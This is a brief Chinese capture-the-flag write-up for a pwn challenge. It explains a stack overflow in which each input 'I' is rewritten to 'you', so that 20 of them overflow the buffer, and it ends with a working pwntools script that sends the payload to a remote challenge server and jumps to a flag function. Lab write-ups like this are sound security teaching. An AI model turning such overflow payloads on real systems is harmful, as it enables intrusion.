这题是栈回溯的题目,看原函数发现没有溢出点,输入空间够大而且输入进行了限制:
但是26行位置进行了替换,当输入"I"的时候会被替换为you, 所以就可以用 20 个 ”I“ (小于 32) 得到 60 (0x3c)个字符造成溢出,再随便填一个返回地址就完成溢出。
文件里面有一个get-falg函数:
所以payload如图:
from pwn import * p=remote("node3.buuoj.cn",28870) addr=0x08048f0d payload=20*'I'+'A'*4 +p32(addr) p.sendline(payload) p.interactive()